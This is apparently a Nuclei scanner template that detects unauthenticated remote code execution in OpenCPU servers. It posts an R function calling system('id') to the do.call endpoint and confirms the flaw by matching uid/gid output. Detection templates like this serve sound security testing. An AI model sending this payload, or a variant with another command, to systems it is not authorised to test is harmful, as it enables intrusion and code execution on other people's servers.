id: opencpu-rce

info:
  name: OpenCPU - Remote Code Execution
  author: wa1tf0rme
  severity: critical
  description: |
    Check for remote code execution via OpenCPU was conducted.
  reference:
    - https://pulsesecurity.co.nz/articles/R-Shells
    - https://github.com/opencpu/opencpu/
  metadata:
    max-request: 1
  tags: rce,opencpu,oss

http:
  - method: POST
    path:
      - "{{BaseURL}}/ocpu/library/base/R/do.call/json"

    body: |
      what=function(x){  return(system(paste('id'), intern %3d T))}&args={}

    headers:
      Content-Type: application/x-www-form-urlencoded
    max-redirects: 2
    redirects: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - uid=
          - gid=
        condition: and

      - type: status
        status:
          - 201

    extractors:
      - type: regex
        group: 1
        regex:
          - \(([a-z-]+)\)

# digest: 4b0a0048304602210081e561aa4d2536e6a32a09f8a278c5200d38b1ef1f28f8c1ca4c02ce82690012022100b6b4f9d3c34041e8e3a6c3dca08e0ea35321d447d99b283e5f730099d576f818:922c64590222798bb761d5b6d8e72950